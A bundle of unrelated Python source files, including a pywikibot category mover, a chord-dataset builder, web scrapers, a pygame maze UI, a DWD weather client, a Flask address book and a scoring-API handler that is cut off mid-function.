    url(r'^admin/', include(admin.site.urls),name='admin'),
    url(r'^register/', register, name='register'),
    url(r'^save/',save_details,name='save'),
    url(r'login/',loginview,name='login'),
    url(r'^update/',updateview,name='update'),
    url(r'^logout/',logoutview,name='logout'),
    url(r'^delete/',deleteview,name='delete'),
    url(r'^$',index,name='index')
)


import pywikibot
import json, traceback

batch_filename_ptrn = "ميدياويكي:عطاشة6.خدمة{}.json"

BATCH_NUMBER = int(input("Batch number: "))

batch_filename = batch_filename_ptrn.format(BATCH_NUMBER)

TASK_NAME = batch_filename.split(':')[1][:-5]

MOVE_MESSAGE = '[['+batch_filename+'|'+TASK_NAME+']]: '+"تحويل تصنيف"
SAVE_MESSAGE = '[['+batch_filename+'|'+TASK_NAME+']]: '+"تعويض سمية د تصنيف"

def read_json(site):
    batch = pywikibot.Page(site,batch_filename)

    jason = json.loads(batch.text)

    return jason

def to_move(source_cat, target_cat):
    """
    Checks if the category source_cat should be moved or not.
    The two conditions
    1- source_cat should not be a redirect page
    2- target_cat should not already exist
    """
    if source_cat.isCategoryRedirect(): #do not move a category redirect
        return False
    if len(list(target_cat.members())) == 0 or target_cat != "": #do not move to a category that has members or that has content
        return True
    return False

site = pywikibot.Site()

jason = read_json(site)

for i in range(len(jason)):

    source_cat_title = jason[i]["source_cat"]
    target_cat_title = jason[i]["target_cat"]

    source_cat = pywikibot.Page(site,source_cat_title)

    if to_move(source_cat, pywikibot.Category(site,target_cat_title)):

        try:
            source_cat.move(target_cat_title,MOVE_MESSAGE)

        except:
            print("could not transfer cat "+source_cat.title())
            print(traceback.format_exc())

    source_cat = pywikibot.Category(site,source_cat_title)

    print(len(list(source_cat.backlinks())))
    for page in source_cat.backlinks():
        page.text = page.text.replace(source_cat_title,target_cat_title)
        page.save(SAVE_MESSAGE)

    print(len(list(source_cat.members())))
    for page in source_cat.members():
        page.text = page.text.replace(source_cat_title,target_cat_title)
        page.save(SAVE_MESSAGE)


"""

'/**************************************************************************************************************
' 파일명    : prepare_dataset.py
' 작성자    : 임지백
' 목적      : 시간별 코드 데이터와 시간별 chromagram 데이터를 통해 코드별 chromagram 데이터를 만들어 json 파일로 저장해준다.
             (해당 파일에서 사용하는 chromagram 데이터는 음원의 파형을 통해 추출하는 24가지의 특성값이다)
' 사용방식  : 파일의 main문 실행시 인공지능 모델 학습에 필요한 json 파일을 저장한다.
            이때, 프로젝트 폴더에 https://www.kaggle.com/jacobvs/mcgill-billboard 해당 웹페이지에서 받은 data 폴더를 넣어준더
' 사용파일  : train_model_LSTM.py에서 이 파일에서 생성한 json 파일을 이용해 인공지능 모델 학습을 진행한다.
' 개발환경  : Python 3.7.7 / Windows10
' 이력사항
'              YYYY. MM/DD 수정자
'               1. 수정 사유: method_name {, method_name}
'/**************************************************************************************************************

"""

import csv
import numpy as np
import os.path
import json

JSON_PATH = 'data_twelve_chroma.json'

def chord_to_int(chord_name):
    """
    ' 목적 : 인공지능 학습을 위해 data 폴더에 있는 코드 정보를 int 값에 맵핑
    ' 리턴값 : 코드 이름에 따라 맵핑된 int 값 ( 0 ~ 104 ) / ( 공백음인 N 또는 X의 경우 404를 리턴하고 활용은 X )
    """
    type1 = ':maj'
    type2 = ':min'
    type3 = 'b:maj'
    type4 = 'b:min'
    type5 = '#:maj'
    type6 = '#:min'
    type7 = ':maj7'
    type8 = ':min7'
    type9 = 'b:maj7'
    type10 = 'b:min7'
    type11 = '#:maj7'
    type12 = '#:min7'
    type13 = ':7'
    type14 = 'b:7'
    type15 = '#:7'
    type_table = [type1, type2, type3, type4, type5, type6, type7, type8, type9, type10, type11, type12, type13, type14, type15]

    root_chord_list = ['A', 'B', 'C', 'D', 'E', 'F', 'G']

    if chord_name == 'N' or chord_name == 'X':
        return 404
    for chord_num, root_chord in enumerate(root_chord_list):
        for type_num, type in enumerate(type_table):
            if root_chord + type == chord_name:
                return chord_num * 15 + type_num

def prepare_dataset(json_path):
    """
    ' 목적 : data 폴더에 위치한 데이터 파일을 통해 만든 json 파일을 json_path에 저장
    ' 리턴값 : 없음
    """
    data = {
        "labels": [],
        "Chromagram_bundles": [],
    }

    chroma_and_start_time = {
        # 키값은 각각의 폴더명
    }
    chord_and_interval_time = {
        # 키값은 각각의 폴더명
    }

    path_metadata = './data/metadata/metadata'
    file_metadata = '/bothchroma.csv'
    path_annotations = './data/annotations/annotations/'
    file_annotations = '/majmin.lab'

    for folder_num in range(3, 1301): # 음원의 데이터가 들어있는 폴더명은 0003 ~ 1300
        if (folder_num < 10):
            common_path_variable = '/000' + str(folder_num)
        elif (folder_num < 100):
            common_path_variable = '/00' + str(folder_num)
        elif (folder_num < 1000):
            common_path_variable = '/0' + str(folder_num)
        else:
            common_path_variable = '/' + str(folder_num)

        complete_path_metadata = path_metadata + common_path_variable + file_metadata
        complete_path_annotations = path_annotations + common_path_variable + file_annotations

        # 파일이 존재하는지 체크
        if (os.path.isfile(complete_path_metadata)):
            pass
        else:
            continue

        chroma_and_start_time[str(folder_num)] = []
        chord_and_interval_time[str(folder_num)] = []

        # chromagram 데이터 불러오기
        with open(complete_path_metadata, 'r', encoding='utf-8') as f:
            reader = csv.reader(f)

            #초반의 의미없는 chromagram 값들을 패스
            for _ in range(20):
                next(reader)

            for starting_time_and_chroma in reader:
                del starting_time_and_chroma[0] # 빈 값 삭제
                chroma_and_start_time[str(folder_num)].append(list(map(float, starting_time_and_chroma)))  # string을 float으로 저장

        # 코드 데이터 불러오기
        with open(complete_path_annotations, 'r', encoding='utf-8') as f:
            reader = csv.reader(f)
            for interval_time_and_chord in reader:
                if (interval_time_and_chord != []):
                    chord_data_list = interval_time_and_chord[0].split('\t')
                    chord_name = chord_data_list[2]
                    if  chord_name != 'N' and chord_name != 'X':
                        chord_data_list[2] = chord_to_int(chord_name)  # 코드이름 -> 코드이름에 맵핑된 int값
                        chord_data_list[1] = float(chord_data_list[1]) # 코드의 종료시간
                        chord_data_list[0] = float(chord_data_list[0]) # 코드의 시작시간
                        chord_and_interval_time[str(folder_num)].append(chord_data_list)

    print(len(chord_and_interval_time))
    print(len(chroma_and_start_time))

    # 인공지능 모델 학습을 위해 데이터를 (20, 24)로 묶어주기 (number of slices extract Chromagram, Chromagram)
    for key, value in chroma_and_start_time.items():
        for chord_list in chord_and_interval_time[key]:
            chroma_bundle = []
            num_flag = 0
            for chroma_list in value:
                if num_flag >= 20:
                    break
                if chroma_list[0] >= chord_list[1]:
                    """
                    # chroma_list[0] : chromagram을 추출한 시작 시간 (간격은 약 0.05 초) / chroma_list[1:] : chromagram
                    # chord_list[0] : 코드의 시작시간 / chord_list[1] : 코드의 종료시간 / chord_list[2] : int 값 맵핑된 코드이름
                    """
                    break
                if chroma_list[0] >= chord_list[0] and chroma_list[0] < chord_list[1]:
                    del chroma_list[0]
                    chroma_bundle.append(chroma_list)
                    value.remove(chroma_list)
                    num_flag += 1

            if chroma_bundle != []:
                for i in range(20 - num_flag):
                    chroma_bundle.append(chroma_bundle[-1])
                if len(chroma_bundle) != 20:
                    print("문제 발생!!!")
                data["Chromagram_bundles"].append(chroma_bundle)
                data["labels"].append(chord_list[2])

    print(len(data["labels"]))
    print(data["Chromagram_bundles"][0])
    print(len(data["Chromagram_bundles"]))
    print(len(data["Chromagram_bundles"][0]))
    print(len(data["Chromagram_bundles"][0][0]))

    x_list = data["Chromagram_bundles"]
    X = np.array(x_list)
    y = np.array(data["labels"])

    print(X.shape)
    # numpy array의 shape가 분명 (N, 30, 24)로 나와야 하는데 (N, )로 나오는 경우때문에 조금 헤맸다.
    # 이 경우는 데이터의 크기가 30,24를 벗어나 있는 경우가 존재한다는 뜻이므로 데이터를 다시 재구성해주어야 한다.
    print(y.shape)

    with open(json_path, "w") as fp:
        json.dump(data, fp, indent=4)

if __name__ == "__main__":
    prepare_dataset(JSON_PATH)


import cv2
import time
import numpy as np
import handdetection as hd
import math
from ctypes import cast, POINTER
from comtypes import CLSCTX_ALL
from pycaw.pycaw import AudioUtilities, IAudioEndpointVolume

devices = AudioUtilities.GetSpeakers()
interface = devices.Activate(
    IAudioEndpointVolume._iid_, CLSCTX_ALL, None)
volume = cast(interface, POINTER(IAudioEndpointVolume))
#volume.GetMute()
#volume.GetMasterVolumeLevel()
volRange=volume.GetVolumeRange()
minVol=volRange[0]
maxVol=volRange[1]

wcam,hcam=640,480
cam=cv2.VideoCapture(0)
cam.set(3,wcam)
cam.set(4,hcam)
Ptime=0
vol,volBar,volPer=0,400,0

detector=hd.handDetector(detectionCon=0.9,maxHands=1)

while True:
    success,img=cam.read()
    if not success:
            break

    img=detector.findHands(img)
    lmList,bbox=detector.findPosition(img)
    if len(lmList)!=0:

        area=(bbox[2]-bbox[0])*(bbox[3]-bbox[1]) //100
        if 250< area <1000:
            length,img,lineInfo=detector.findDistance(4,8,img)
            vol=np.interp(length,[50,300],[minVol,maxVol])
            volBar=np.interp(length,[50,300],[400,150])
            volPer=np.interp(length,[50,300],[0,100])
            smoothness=10
            volPer=smoothness * round(volPer/smoothness)

            fingers=detector.fingersUp()
            if not fingers[4]:
                volume.SetMasterVolumeLevel(vol, None)
                cv2.circle(img,(lineInfo[4],lineInfo[5]),12,(0,255,0),cv2.FILLED)

        cv2.rectangle(img,(50,150),(80,400),(0,0,0),3)
        cv2.rectangle(img,(50,int(volBar)),(80,400),(0,0,255),cv2.FILLED)
        cv2.putText(img,f'{int(volPer)}%',(40,450),cv2.FONT_HERSHEY_COMPLEX,0.8,(0,0,255),3)

    Ctime=time.time()
    fps=1/(Ctime-Ptime)
    Ptime=Ctime
    cv2.putText(img,f'FPS : {int(fps)}',(40,50),cv2.FONT_HERSHEY_COMPLEX,0.8,(255,0,0),3)

    cv2.imshow("Wireless Sound Controller",img)
    if cv2.waitKey(1)==ord('q'):
        break


# 大修 搜索结果先看是否匹配 返回offer页面的链接

import re
import time
from selenium import webdriver

def check_if_exist(browser, element, condition):
    try:
        if condition == 'class':
            browser.find_element_by_class_name(element)
        elif condition == 'id':
            browser.find_element_by_id(element)
        elif condition == 'xpath':
            browser.find_element_by_xpath(element)
        return True
    except Exception as err:
        return False

def get_next_page(browser, retry, next_page_xpath):
    try:  # 可能出错 stale element reference: element is not attached to the page document
        if retry == 10:
            return
        next_page = browser.find_element_by_xpath(next_page_xpath)
        next_page.click()
        time.sleep(3)
        retry = 0
        return
    except:
        retry = retry + 1
        print("Try Again.")
        get_next_page(browser, retry, next_page_xpath)

def offervault_search(query):
    # # 正常模式
    # browser = webdriver.Chrome()
    # browser.maximize_window()
    # headless模式
    option = webdriver.ChromeOptions()
    option.add_argument('--headless')
    option.add_argument("--window-size=1920,1080")
    browser = webdriver.Chrome(chrome_options=option)
    browser.implicitly_wait(10)
    results = []
    try:
        keyword = query.split('.')[-2]
        print("Keyword: ", keyword)
        url = 'https://offervault.com/?selectedTab=topOffers&search=' + keyword + '&page=1'
        browser.get(url)
        while True:
            main_handle = browser.current_window_handle
            url = browser.current_url
            page = re.findall(r'page=[0-9]+', url)[0][5:]
            print("-------Current Page: {0}-------".format(page))
            # 获取当前页offer链接
            container = browser.find_element_by_css_selector('#index-page-offerstable > tbody')
            links = container.find_elements_by_tag_name('a')
            if not links:
                print("未找到符合条件的搜索结果。")
                return results
            for link in links:
                offer_link = link.get_attribute('href')
                # 过滤 javascript:;
                if offer_link == 'javascript:;':
                    continue
                print("---Visiting Offer: {0}...".format(offer_link))
                js = 'window.open(\"' + offer_link + '\");'
                browser.execute_script(js)
                time.sleep(2)
                handles = browser.window_handles
                browser.switch_to.window(handles[1])  # 切换标签页
                # 获得preview landing page
                try:
                    tbody = browser.find_element_by_xpath(
                        '//*[@id="__layout"]/div/section/div/div/div/div/div[1]/div[1]/div[2]/div[1]/div/div/table/tbody'
                    )
                    # 防止像affpay一样有的项没有
                    items = tbody.find_elements_by_tag_name('tr')
                    for item in items:
                        th = item.find_element_by_tag_name('th').text
                        td = item.find_element_by_tag_name('td')
                        if th == 'Preview:':
                            preview_url = td.find_element_by_tag_name('a').get_attribute('href')
                            if preview_url:
                                preview_domain = preview_url.split('/')[2]
                                if query in preview_domain:
                                    print("匹配到: ", offer_link)
                                    results.append(offer_link)
                except Exception as err:
                    print("Error: ", err)
                browser.close()
                browser.switch_to.window(main_handle)
                time.sleep(1)
            # 判断是否还有下一页
            btn_count = len(
                browser.find_elements_by_css_selector(
                    '#__layout > div > section:nth-child(3) > div > div > div > div.col-md-9 > div.tablecont > div > div > div.paginrow > ul > li'
                ))
            next_page_index = btn_count - 1
            next_page_xpath = '//*[@id="__layout"]/div/section[2]/div/div/div/div[1]/div[1]/div/div/div[2]/ul/li[' + str(
                next_page_index) + ']/button'
            if not check_if_exist(browser, next_page_xpath, 'xpath'):
                break
            else:
                # 跳转到下一页
                get_next_page(browser, 0, next_page_xpath)
    except Exception as err:
        print(err)
    finally:
        browser.quit()
        return results

if __name__ == '__main__':
    offervault_search('teenfinder')


import requests

print ("Enter Zip in US:")
zip = str(input()) # str conv
response = requests.get("https://api.openweathermap.org/data/2.5/forecast?zip="+zip+",us&appid= #Add API ID#")# add parameter to the url using str concatenate
data = response.json() # Json format
temp_dict = {}
#temp_dict = {"key":"value"}
print(" Date       Temp          Precipitation")
for record in data ['list']:
    max_temp = record['main']['temp_max']
    min_temp = record['main']['temp_min']
    precipitation = record['pop']
    date = str.split(record['dt_txt'], " ")
    date = date[0]
    if date in temp_dict:
        if temp_dict[date]["max"] < max_temp:
            temp_dict[date]["max"] = max_temp
        if temp_dict[date]["min"] > min_temp:
            temp_dict[date]["min"] = min_temp
    else:
        temp_dict.update({date:{"max":max_temp, "min":min_temp, "precipitation":precipitation}})

for keys in temp_dict:
    print(keys,temp_dict[keys]["max"],temp_dict[keys]["min"],temp_dict[keys]["precipitation"])


import spacy

nlp = spacy.load("en_core_web_sm")

text = "Upcoming iPhone X release date leaked as Apple reveals pre-orders"

# Traite le texte
doc = ____

# Itère sur les entités
for ____ in ____.____:
    # Affiche le texte de l'entité et son label
    print(____.____, ____.____)

# Obtiens la portion pour "iPhone X"
iphone_x = ____

# Affiche la portion de texte
print("Entité manquante :", iphone_x.text)


# Configuration file for the Sphinx documentation builder.
#
# For the full list of built-in configuration values, see the documentation:
# https://www.sphinx-doc.org/en/master/usage/configuration.html

# -- Project information -----------------------------------------------------
# https://www.sphinx-doc.org/en/master/usage/configuration.html#project-information

project = "OpenPile"
copyright = "2023, Guillaume Melin"
author = "Guillaume Melin"

import sys
from pathlib import Path

pypath = Path(__file__).parents[2]
# add path
sys.path.insert(0, str(Path(pypath / "src")))
from openpile import __version__

release = __version__

# -- General configuration ---------------------------------------------------
# https://www.sphinx-doc.org/en/master/usage/configuration.html#general-configuration

extensions = [
    "sphinx.ext.autodoc",
    "sphinx.ext.githubpages",
    "sphinx.ext.napoleon",  # support for numpy and google docstrings
    "sphinx.ext.mathjax",
    "sphinx.ext.viewcode",
    "sphinx.ext.autodoc",
    "sphinx.ext.todo",
    "sphinx.ext.doctest",
    "matplotlib.sphinxext.plot_directive",
]

autodoc_default_options = {
    "member-order": "bysource",
    "special-members": "__init__",
    "undoc-members": True,
    "exclude-members": "__weakref__",
    "show-inheritance": False,
}

auoclass_content = "class"
# Automatically extract typehints when specified and place them in
# descriptions of the relevant function/method.
autodoc_typehints = "description"

# Don't show class signature with the class' name.
autodoc_class_signature = "separated"

templates_path = ["_templates"]
exclude_patterns = []

# -- Options for LaTeX output ------------------------------------------------
latex_engine = "pdflatex"
numfig = True

# -- Options for HTML output -------------------------------------------------
# https://www.sphinx-doc.org/en/master/usage/configuration.html#options-for-html-output

html_theme = "sphinx_rtd_theme"
html_static_path = ["_static"]


# coding: utf-8
""" This module contains the UI class.
    It manages everything that is needed to display
    the game on the screen, using pygame. """

import os
import sys

import pygame
from pygame.locals import K_UP, K_DOWN, K_LEFT, K_RIGHT, QUIT

from constants import TILESIZE, FPS

class GUI:

    def __init__(self, level):
        """ Constructor of the class GUI.
        Initializes pygame.

        Arguments:
        level -- an instance of the class Level
        """
        pygame.init()
        pygame.font.init()
        pygame.display.set_caption("Escape MacGyver")
        self.font = pygame.font.Font(None, 28)
        self.displaysurf = pygame.display.set_mode((
                                    TILESIZE * level.width,
                                    TILESIZE * level.height + TILESIZE))
        self.displaysurf.fill("grey")
        self.frame_per_sec = pygame.time.Clock()

    def display_game(self, level, player):
        """ Displays and updates the game objects on the screen.

        Arguments:
        level -- an instance of the class Level
        player -- an instance if the class Player
        """
        self.draw_gui(level, player)
        self.pygame_event_get()
        self.update_player(level, player)
        self.frame_per_sec.tick(FPS)

    def draw_gui(self, level, player):
        """ Draws the game Graphical UI.

        Arguments:
        level -- an instance of the class Level
        player -- an instance if the class Player
        """
        self.draw_level(level)
        self.draw_player(player)
        self.draw_text("black", "Your bag: ", (45, 765))

    def draw_level(self, level):
        """ Draws the map by drawing each tile of the grid,
        and the element located on the tile.

        Arguments:
        level -- an instance of the class Level
        """
        self.displaysurf = pygame.display.set_mode(
            (TILESIZE * level.width, TILESIZE * level.height + TILESIZE))
        for pos_y in range(0, level.height):
            for pos_x in range(0, level.width):
                level.tiles_list[pos_y][pos_x].draw(self.displaysurf)
                try:
                    if level.tiles_list[pos_y][pos_x].element:
                        self.draw_element(
                            level.tiles_list[pos_y][pos_x].element)
                except AttributeError:
                    continue

    def draw_element(self, element):
        """ Draws an element on a specific tile:
        can be one of the unpicked items or the guard

        Arguments:
        element -- an instance of the class Element
        """
        if not element.is_picked:
            self.displaysurf.blit(element.image, element.rect)

    def draw_player(self, player):
        """ Draws the player on the grid, according to its position.
        Draws also the player's bag, containing the items picked
        by the player.

        Arguments:
        player -- an instance of the class Player
        """
        self.displaysurf.blit(player.image, player.rect)
        if player.bag:
            for index, value in enumerate(player.bag):
                surf = pygame.Surface((TILESIZE, TILESIZE))
                rect = surf.get_rect(topleft=(
                    3 * TILESIZE + TILESIZE * index, 750))
                img_filename = value.content + ".png"
                absolute_path = os.path.join(os.path.dirname(__file__),
                                             "assets", img_filename)
                image = pygame.image.load(absolute_path)
                self.displaysurf.blit(image, rect)

    def draw_text(self, color, message, text_position):
        """ Draws the text representing the player's bag
        at the bottom of the screen.

        Arguments:
        color -- the color of the text
        message -- the text to be displayed
        text_position -- position of the text on the screen
        """
        self.text = self.font.render(message, True, color)
        self.displaysurf.blit(self.text, text_position)

    def update_player(self, level, player):
        """ Converts the user input into a moving direction
        for the player and update the player's sprite.

        Arguments:
        level -- an instance of the class Level
        player -- an instance if the class Player
        """
        pressed_keys = pygame.key.get_pressed()
        if player.rect.top > 0 and pressed_keys[K_UP] and level.can_move(player.pos_x, player.pos_y - 1):
            player.rect.move_ip(0, -TILESIZE)
            player.move("up")
        if player.rect.bottom < level.height * TILESIZE and pressed_keys[K_DOWN] and level.can_move(player.pos_x, player.pos_y + 1):
            player.rect.move_ip(0, TILESIZE)
            player.move("down")
        if player.rect.left > 0 and pressed_keys[K_LEFT] and level.can_move(player.pos_x - 1, player.pos_y):
            player.rect.move_ip(-TILESIZE, 0)
            player.move("left")
        if player.rect.right < level.width * TILESIZE and pressed_keys[K_RIGHT] and level.can_move(player.pos_x + 1, player.pos_y):
            player.rect.move_ip(TILESIZE, 0)
            player.move("right")

    def pygame_event_get(self):
        """ Captures event for pygame. """
        for event in pygame.event.get():
            if event.type == QUIT:
                pygame.quit()
                sys.exit()


import decimal
import io
import re
import urllib
import datetime
from zipfile import ZipFile

import pandas as pd
import pytz

from app.dwd_module.dwd_constant import *
from app.dwd_module.dwd_file_finder import FtpFileFinder
from app import util
from app.models import Response, ResponseTimeseries, Values

class TimeSeries:
    """
    Query the DWD FTP service by a specified station, resolution and datatype and a optional timerange to filter
    the results.
    """
    stationId = ''
    resolution = ''
    observation_type = ''
    pattern_searched_file = r'^produkt.*'
    start = None
    end = None
    path_choices = ''
    path = ''
    times = []
    response = None
    MESS_DATUM = 'MESS_DATUM'

    def __init__(self, stationId, resolution, observation_type, start, end):
        """
        Call the class ( FtpFileFinder ) and it's Method FtpSearch at first, so that the
        connection and the paths are ready to be used.
        :param stationId: string *required
        :param resolution: string *required
        :param observation_type: string *required
        :param start: Date time *not required
        :param end: Date time *not required
        """

        self.stationId = stationId
        self.resolution = resolution
        self.observation_type = observation_type
        self.start = util.deserialize_datetime(start)
        self.end =  util.deserialize_datetime(end)
        self.path_choices = FtpFileFinder().findFile(self.generateWalkPathByResolutionAndStationId(),
                                                     r'.*' + self.stationId + '.*', r'^Meta_Daten.*')
        self.response = Response()
        self.response.observation_type = self.observation_type
        self.response.resolution = self.resolution
        self.response.station_id = self.stationId
        self.response.timeseries = []

    def generateWalkPathByResolutionAndStationId(self):
        """
        add the resolution and the observation type to the path
        :return: String
        """
        return PATH_TO_WALK + self.resolution + "/" + self.observation_type

    def zip_extract(self, half_path):
        """
        unpacking a single zip file for a path.
        returns a dictionary sorted by records
        :param half_path: string
        :return: Dictionary
        """

        self.path = "ftp://" + DWD_SERVER + "/" + half_path

        mysock = urllib.request.urlopen(self.path)

        memfile = io.BytesIO(mysock.read())

        with ZipFile(memfile, 'r') as myzip:

            nameList = myzip.namelist()
            p = re.compile(self.pattern_searched_file)

            for name in nameList:
                m = p.match(name)
                if m:
                    filename = m.group()
            f = myzip.open(filename)
            csv_read = pd.read_csv(f, sep = ";")  # read as DataFrame
            self.choose_date(csv_read)

            start_date = csv_read[self.MESS_DATUM][0]  # get the start date of CSV
            end_date = csv_read[self.MESS_DATUM][-1:].values  # get end date of CSV
            dict_date = dict(start = start_date, end = end_date[0])

            self.times.append(dict_date)

        return csv_read

    def choose_date(self, csv_read):
        colomns = csv_read.columns
        regex = re.compile(r'^MESS_DATUM*')
        colomns_list = list(filter(regex.match, colomns))
        if len(colomns_list) > 1:
            self.MESS_DATUM = 'MESS_DATUM_ENDE'

    def dwd_response(self):

        """
        concat the different CSV's and reform the respond Object to but Meta Data on  the top of each
        row.
        :return: Dictionary
        """

        for single_path in self.path_choices:  # Loop over path path choices to look over

            r_dict = self.zip_extract(single_path)
            path_split = single_path.split('/')
            file_name = path_split[-1]
            epoch = path_split[-2]

            self.extract_timestamps(epoch, file_name, r_dict)

        return self.response

    def extract_timestamps(self, epoch, file_name, r_dict):
        """
        Delete the replicated data, unused column &  reorganize the TimeSeries
        :param epoch: String
        :param file_name: String
        :param r_dict: dictionary

        """
        if epoch in ['recent', 'now']  :  # remove redundancy (the Data from 'historical' comes at first )
            list_of_dicts = r_dict[r_dict[self.MESS_DATUM] > int(self.times[0]['end'])].to_dict('records')

        else:
            list_of_dicts = r_dict.to_dict('records')
            # loop over the dictionary to delete the unused column &  reorganize the TimeSeries
        for i, single_dict in enumerate(list_of_dicts, 2):
            single_dict.pop('STATIONS_ID', None)
            single_dict.pop('eor', None)
            source_time = str(decimal.Decimal(single_dict[self.MESS_DATUM])).ljust(12, '0')
            single_dict['timestamp'] = util.deserialize_datetime(source_time)
            single_dict.pop(self.MESS_DATUM, None)
            timestamp = pytz.utc.localize(single_dict['timestamp'])  # type: datetime
            if (self.start <= timestamp) and (timestamp <= self.end):
                self.extract_timestamp(epoch, file_name, i, single_dict)

    def extract_timestamp(self, epoch, file_name, source_line_number, single_dict):
        """
        Every single timestamp will be extracted, then Add Meta Data.
        :param epoch: String
        :param file_name: String
        :param source_line_number:
        :param single_dict:

        """
        ts = ResponseTimeseries()
        ts.epoch = epoch
        ts.source_line = source_line_number
        ts.source_file = file_name
        ts.source_url = self.path
        ts.values = []
        for k, v in single_dict.items():

            if k != 'timestamp':
                ts.values.append(Values(name = k, value = v))
            else:
                ts.timestamp = v
        self.response.timeseries.append(ts)


from setuptools import setup, find_packages
import re
import ast

# version parsing from __init__ pulled from Flask's setup.py
# https://github.com/mitsuhiko/flask/blob/master/setup.py
_version_re = re.compile(r'__version__\s+=\s+(.*)')

with open('q2_humann2/__init__.py', 'rb') as f:
    hit = _version_re.search(f.read().decode('utf-8')).group(1)
    version = str(ast.literal_eval(hit))

setup(
    name="q2-humann2",
    version=version,
    packages=find_packages(),
    install_requires=['qiime >= 2.0.0',
                      'humann2 >= 0.9.4, < 1.0.0',
                      'biom-format >= 2.1.5, < 2.2.0'],
    author="Daniel McDonald",
    author_email="wasade@gmail.com",
    description="QIIME2 plugin for running HUMAnN2",
    entry_points={
        "qiime.plugins":
        ["q2-humann2=q2_humann2.plugin_setup:plugin"]
    }
)


import requests
from bs4 import BeautifulSoup
import warnings
warnings.filterwarnings(action='ignore')
import datetime
df=datetime.datetime.now()

targetSite='https://music.bugs.co.kr/chart?wl_ref=M_left_02_01'
request =requests.get(targetSite)
html=request.text
soup = BeautifulSoup(html,'html.parser')

# 노래제목 크롤링
titles = soup.findAll('p', {'class':'title'})

# for i in range(len(titles)):
    # print('{0:3d}위 {1}'.format(i+1,titles[i].text.strip()))
    # print('{0:3d}위 {1}'.format(i+1,titles[i].text.split('\n')[1]))
    # print(titles[i].text.split('\n')[1])

artists = soup.findAll('p', {'class':'artist'})
# for i in range(len(artists)):
#     print('{0:3d}위 {1:50s}'.format(i + 1, titles[i].text.strip()))
#     print('{0:s}'.format(artists[i].text.strip().split('\n')[0]))

# print(df)
# for i in range(100):
#     artist = artists[i].text.strip().split('\n')[0]
#     title = titles[i].text.strip()
#     print('{0:3d}위 {1} - {2}'.format(i+1,artist,title))

# 크롤링한 결과를 텍스트 파일로 저장한다
file = open('./output/bugsTOP100.txt','w')
file.write('{} 현재 Bugs 뮤직 실시간 TOP 100\n'.format(df))
for i in range(100):
    artist = artists[i].text.strip().split('\n')[0]
    title = titles[i].text.strip()
    file.write('{0:3d}위 {1} - {2}\n'.format(i+1,artist,title))
file.close()
print('bugsTOP100.txt 쓰기 완료')

# text 파일에 저장된 데이터를 읽어서 화면에 출력한다
try:
    file = open('./output/bugsTOP100.txt', 'r')
    lines = file.readlines()
    for line in lines:
        print(line.strip())
    file.close()
except FileNotFoundError:

    print('디스크에 bugsTOP100.txt 파일이 없습니다')


from flask import Flask, jsonify, request

app = Flask(__name__)

class Contact:
    def __init__(self, name, phone_number):
        self.name = name
        self.phone_number = phone_number

class AddressBook:
    def __init__(self):
        self.contacts = []

    def add_contact(self, name, phone_number):
        contact = Contact(name, phone_number)
        self.contacts.append(contact)

    def remove_contact(self, name):
        for contact in self.contacts:
            if contact.name == name:
                self.contacts.remove(contact)
                return

    def search_contact(self, name):
        for contact in self.contacts:
            if contact.name == name:
                return contact.phone_number
        return "Kontak tidak ditemukan"

address_book = AddressBook()

@app.route('/contacts', methods=['POST'])
def add_contact():
    data = request.get_json()
    name = data.get('name')
    phone_number = data.get('phone_number')
    address_book.add_contact(name, phone_number)
    return jsonify({'message': 'Kontak berhasil ditambahkan'})

@app.route('/contacts/<name>', methods=['DELETE'])
def remove_contact(name):
    address_book.remove_contact(name)
    return jsonify({'message': 'Kontak berhasil dihapus'})

@app.route('/contacts/<name>', methods=['GET'])
def search_contact(name):
    phone_number = address_book.search_contact(name)
    return jsonify({'phone_number': phone_number})

if __name__ == '__main__':
    app.run(debug=False)


from __future__ import annotations

from typing import ClassVar
from dataclasses import dataclass

@dataclass
class Link:
    name: any
    items: list[str]

    @property
    def as_dict(self):
        return {
            'name': self.name,
            'items': tuple(self.items)
        }

@dataclass
class Node:
    type: ClassVar[str] = None

    name: str
    links: list = None

    def push(self, link_type, value: Node):
        for link in self.links:
            if link.name == link_type:
                for item in link.items:
                    if item.name == value.name:
                        break
                else:
                    link.items.append(value.clone_without_links())
                break
        else:
            self.links.append(Link(name = link_type, items = [value.clone_without_links()]))

        return self

    @property
    def as_dict(self):
        links = self.links

        if links is not None and len(links) > 0:
            return {
                'name': self.name,
                'type': self.type,
                'links': links
            }

        return {
            'name': self.name,
            'type': self.type
        }

    def clone_without_links(self):
        return type(self)(self.name)

def get_hash(node: Node):
    return (node.type, node.name)


import datetime
import hashlib
import typing as t

from otus_scoring_api.classes import (
    ClientsInterestsRequest,
    DateField,
    MethodRequest,
    OnlineScoreRequest,
    ValidationError,
)
from otus_scoring_api.constants import (
    ADMIN_SALT,
    FORBIDDEN,
    INTERNAL_ERROR,
    INVALID_REQUEST,
    OK,
    SALT,
)
from otus_scoring_api.scoring import get_interests, get_score, ScoringError

SUPPORTED_METHODS = {
    "online_score": OnlineScoreRequest,
    "clients_interests": ClientsInterestsRequest,
}

def check_auth(request: MethodRequest):
    if request.is_admin:
        digest = hashlib.sha512(
            f"{datetime.datetime.now().strftime('%Y%m%d%H')}"
            f"{ADMIN_SALT}".encode("utf-8")
        ).hexdigest()
    else:
        digest = hashlib.sha512(
            f"{request.account}{request.login}{SALT}".encode("utf-8")
        ).hexdigest()
    if digest == request.token:
        return True
    return False

def method_handler(
    request: t.Dict, ctx: t.Dict, store
) -> t.Tuple[t.Union[t.Dict, str, None], t.Optional[int]]:
    response, code = {}, OK
    # trying to parse request body
    try:
        parsed_request = MethodRequest(**request.get("body", {}))
    except ValidationError as e:
        return str(e), INVALID_REQUEST

    # checking auth
    if not check_auth(parsed_request):
        return None, FORBIDDEN

    # method arguments processing
    method_class = SUPPORTED_METHODS.get(parsed_request.method)
    if not method_class:
        return (
            f"Method '{parsed_request.method}' unsupported",
            INVALID_REQUEST,
        )
    elif not parsed_request.arguments:
        return "Method arguments required", INVALID_REQUEST

    try:
        method_args = method_class(**parsed_request.arguments)
    except ValidationError as e:
        return (
            f"Wrong arguments for method '{parsed_request.method}': {str(e)}",
            INVALID_REQUEST,
        )

    # method performing
    if parsed_request.method == "online_score":
        ctx["has"] = method_args.non_empty_fields_lst
        if parsed_request.is_admin:
            score = 42
        else:
            method_args = t.cast(OnlineScoreRequest, method_args)
            score = get_score(
                store=store,
                phone=method_args.phone,
                email=method_args.email,
                birthday=DateField.as_datetime(method_args.birthday),
                gender=method_args.gender,
